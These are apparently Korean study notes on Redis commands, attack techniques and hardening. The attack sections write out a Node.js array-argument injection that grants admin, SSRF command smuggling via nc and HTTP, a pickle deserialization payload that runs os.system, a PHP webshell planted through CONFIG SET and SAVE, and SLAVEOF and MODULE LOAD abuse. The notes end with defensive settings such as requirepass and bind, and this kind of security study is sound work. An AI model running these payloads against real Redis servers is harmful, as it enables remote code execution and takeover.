[2025-07-23] Redis
🦥 본문
Redis
메모리 기반의 Key-Value 저장소. 오픈소스 NoSQL 데이터베이스.
명령어
- 데이터 조작 명령어
| 명령어 | 구조 | 설명 |
| — | — | — |
| GET
| GET key
| 데이터 조회 |
| MGET
| MGET key [key ...]
| 여러 데이터를 조회 |
| SET
| SET key value
| 새로운 데이터 추가 |
| MSET
| MSET key value [key value ...]
| 여러 데이터를 추가 |
| DEL
| DEL key [key ...]
| 데이터 삭제 |
| EXISTS
| EXISTS key [key ...]
| 데이터 유무 확인 |
| INCR
| INCR key
| 데이터 값에 1 더함 |
| DECR
| DECR key
| 데이터 값에 1 뺌 |
- DBMS 관리 명령어
명령어 | 구조 | 설명 |
---|---|---|
INFO |
INFO [section] |
DBMS 정보 조회 |
CONFIG GET |
CONFIG GET parameter |
설정 조회 |
CONFIG SET |
CONFIG SET parameter value |
새로운 설정 입력 |
공격 기법
- NodeJS redis 모듈의 Command 처리 방법 중 배열 처리 코드
if (Array.isArray(arguments[0])) {
arr = arguments[0];
if (len === 2) {
callback = arguments[1];
}
}
return this.internal_send_command(new Command(command, arr, callback));
위의 코드는 첫 번째 인자가 배열인 경우에 arr에 할당한다. 만약 두 번째 인자가 있다면 callback에 할당한다. 그래서 다음과 같이 작동한다.
redis.set(....)
Command("set", ...);
//문자열 타입일 경우
Command("set", "key", "value", callback)
-> SET key value 가 작동
//배열의 경우
Command("set", ["key", "value"], callback)
-> SET key value가 작동
이 점을 이용하여 공격 방식은 다음과 같다
http://localhost:3000/init?uid[]=test&uid[]={"level":"admin"}
uid = ["test", '{"level":"admin"}']
redis.set(uid)
Command("set", ["test", '{"level":"admin"}'])
SET test {"level":"admin"}
//로그인을 하는 기능
const userData = JSON.parse(redis.get("test"));
if (userData.level === "admin") {
// 관리자 권한 부여
}
공격 기법 : SSRF
Redis는 기본적으로 인증 수단이 존재하지 않아 인증 과정 없이 명령어를 실행할 수 있다.
$ echo -e "anydata: anydata\r\nget hello" | nc 127.0.0.1 6379
-ERR unknown command 'anydata:'
$5
world
- echo -e를 통해 여러 줄의 텍스트를 생성하고 nc를 통해 Redis(127.0.0.1 6379)에 보내게 된다.
- 첫 번째 명령어인 anydata는 유효하지 않은 데이터이므로 Error가 나온다
- 두 번째 명령어인 get hello는 전달되어 Redis에서 Get hello로 작동한다.
- hello라는 키 값을 찾고 value 값인 world를 출력한다
- world의 바이트 수를 출력한다.
위와 같이 잘못된 명령어가 있어도 그 다음 명령어들을 실행시키는 Redis의 특성을 이용하여 Redis에 HTTP 프로토콜을 보내어 공격하는 방법이 있다.
POST / HTTP/1.1
host: 127.0.0.1:6379
user-agent: Mozilla/5.0...
content-type: application/x-www-form-urlencoded
data=a
SET key value
...
- POST / HTTP/1.1 같은 명령어들은 모르겠지만 Body에 Redis 명령어를 삽입하면 작동하게 해당 명령어들이 작동하게 된다.
하지만 일부 키워드를 감지하고 연결을 끊어 다음 명령어가 실행되지 않게 패치되었다.
공격 기법 : django-redis-cache
Djangon에서 Redis를 이용하여 Cache를 구현할 수 있는 파이썬 모듈이다. p_set
함수에서 cache.set
함수를 사용하여 키를 생성한다. 저장할 때에는 기본적으로 pickle 직렬화를 한다
- options에서 selrializer_class를 통해 직렬화할 클래스를 정할 수 있다.
- 대표적인 모듈로 pickle과 yaml이 존재
- pickle 직렬화 : JSON이나 객체를 python만 알아볼 수 있는 바이너리로 바꾸는 것
→ 역직렬화 과정을 악용하여 악의적인 행위를 수행하거나, 특정 상황에서 호출되는 메소드를 이용해 공격할 수 있다.
object.__reduce__()
는 객체 계층 구조를 unpickling 할 때 객체를 재구성하는 튜플을 반환하는 메소드로 호출 가능한 객체를 반환할 수 있다. 이 때 system
같이 명령어를 실행할 수 있는 함수를 반환하면 시스템 명령어를 실행시킬 수 있다.
import pickle
import os
class TestClass:
def __reduce__(self):
return os.system, ("id", )
ClassA = TestClass()
# ClassA 직렬화
ClassA_dump = pickle.dumps(ClassA)
print(ClassA_dump)
# 역직렬화
pickle.loads(ClassA_dump)
$ python3 pickleExploit.py
b'\x80\x03cposix\nsystem\nq\x00X\x02\x00\x00\x00idq\x01\x85q\x02Rq\x03.'
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)
공격 기법 : 명령어
-
SAVE 명령어 : 메모리의 휘발성 때문에 파일 시스템에 저장하는 명령어. 다른 Redis 명령어를 통해 파일 저장 경로, 주기, 이름, 데이터 등을 설정할 수 있다.
CONFIG set dir /tmp CONFIG set dbfilename redis.php SET test "<?php system($_GET['cmd']); ?>" SAVE $ ls -al redis.php -rw-rw---- 1 redis redis 57 May 17 16:59 redis.php $ xxd redis.php 00000000: 5245 4449 5330 3030 36fe 0000 0474 6573 REDIS0006....tes 00000010: 741e 3c3f 7068 7020 7379 7374 656d 2824 t.<?php system($ 00000020: 5f47 4554 5b27 636d 6427 5d29 3b20 3f3e _GET['cmd']); ?> 00000030: ffef 0fe2 9f24 c9b8 a3 .....$...
- 위와 같이 /tmp 경로에 webshell을 실행시킬 수 있는 redis.php 파일을 저장한다.
-
SLAVEOF / REPLICAOF : 마스터-슬레이브 관계를 맺을 수 있으며, 연결을 맺으면 마스터 노드의 데이터를 복제하고 저장한다. 둘 다 같은 명령어이지만 REPLICAOF를 권장한다.
SLAVEOF 127.0.0.1 8888 REPLICAOF 127.0.0.1 8888
- 동작 흐름
- 슬레이브 Redis 인스턴스는 지정한 IP와 포트로 TCP 연결을 시도
- 슬레이브가 마스터에게 PING을 보내고 마스터는 PONG으로 응답하여 마스터가 정상인 지 테스트
- 상태에 따라 일부분 동기화 혹은 전체 복제(스냅샷을 통해)를 진행
-
공격자 서버
$ nc -l 8888 -kv Listening on [0.0.0.0] (family 0, port 8888) Connection from [127.0.0.1] port 8888 [tcp/*] accepted (family 2, sport 52613) PING
- 이 때 마스터를 공격 서버에서 8888에서 대기하여 PING을 수신 받으면 Redis가 접속했다는 것.
→ SSRF 공격 성공
- 동작 흐름
-
MODULE LOAD : 동적 모듈을 외부에서 로드해서 실행 가능한 기능을 확장할 때 사용하는 명령어.
$ redis-cli 127.0.0.1:6379> module load /var/lib/redis/module.so OK 127.0.0.1:6379> module list 1) 1) "name" 2) "example" 3) "ver" 4) (integer) 1 127.0.0.1:6379> EXAMPLE.TEST PASS
- 위의 코드는 커스텀 모듈을 로드하고 다른 모듈인
example
을 실행하는 코드. - 공격을 위해서는 Redis 클라이언트가 접근할 수 있는 라이브러리를 업로드 생성할 수 있어야 함.
- 위의 코드는 커스텀 모듈을 로드하고 다른 모듈인
주의 사항
-
인증 과정 추가 : redis.conf 파일을 통해 DBMS 설정 관리. 비밀번호 지정 가능
$ cat /etc/redis/redis.conf ... requirepass pass1234
- 파일을 설정을 적용하면
AUTH
명령어를 통해 인증 과정을 거침
$ sudo service redis-server restart ... $ redis-cli 127.0.0.1:6379> keys * (error) NOAUTH Authentication required. 127.0.0.1:6379> AUTH pass1234 OK 127.0.0.1:6379> keys * 1) "foo"
- 추가적으로 멀티 유저와 Access Control List(접근 권한 제어)를 통해 접근 제어를 설정
- 파일을 설정을 적용하면
-
바인딩 : 기본적으로
127.0.0.1
이지만 외부 접속이 가능해야할 때도 있음. 설정 파일에서BIND
를 통해 바인딩 주소 변경# 기본 설정 BIND 127.0.0.1 # 위험한 설정 # BIND 127.0.0.1 # 주석 처리 시 모든 IP 접속을 허용 -> 취약점 BIND 0.0.0.0 # 기능적으로 허용해야 하는 경우 권고 설정, # IP 지정을 통해 해당 IP만 허용하며 허용하는 IP에 대한 주기적인 확인이 필요합니다. BIND 192.168.1.2 127.0.0.1
-
중복 키 사용 : 키 명칭이 중복되는 경우 문제 발생.
-
Redis는 DB를 인덱스로 구분. 0~16
r0 = redis.createClient({ db: 0 }); // db 0 연결 r1 = redis.createClient({ db: 1 }); // db 1 연결 r0.select(1, function(err){...}); // db 0 에서 1로 변경
- 캐시를 구현할 때 타입(유저 정보, 인증 정보, 임시 데이터..) 별로 서버를 분리하지 않으면 문제 발생.
- 키 명칭을 구분자 없이 사용하거나 이용자 입력값으로 키 명칭으로 사용할 때 문제 발생
-
EX) 이용자의 메일 인증 정보와 인증 횟수 코드
SET key value # 사용자 메일 인증 번호 저장 시 SET {email} {random number} # 사용자 메일 인증 횟수 저장 시 SET {email}_count 0
//1. user1@dreamhack.io_count 입력 user1@dreamhack.io_count = {random number} user1@dreamhack.io_count_count = 0 //2. user1@dreamhack.io 입력. // -> 기존의 user1@dreamhack.io_count의 랜덤숫자가 0이 됨. user1@dreamhack.io_count = 0 user1@dreamhack.io_count_count = 0 user1@dreamhack.io = {random number}
-
Leave a comment